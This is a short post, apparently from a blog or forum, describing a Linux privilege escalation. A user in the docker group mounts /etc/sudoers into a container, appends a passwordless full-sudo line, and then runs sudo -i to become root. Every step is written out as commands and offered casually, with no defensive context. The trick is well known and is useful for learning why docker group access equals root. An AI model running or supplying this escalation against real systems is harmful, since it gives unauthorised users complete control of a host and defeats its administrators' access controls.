Just as the title says, if your user is included in the docker group on Linux and the docker daemon is running as root, you can simply:
user@host$ docker run -it --volume /etc/sudoers:/sudoers debian bash
Then, inside the container, open the mounted sudoers file in your favorite editor, add your user with whatever permissions you like, exit the container, then sudo -i, and you’re root. Easy peasy.
root@container# echo 'user ALL=(ALL) NOPASSWD: ALL' >> /sudoers;
root@container# exit
user@host$ sudo -i
root@host#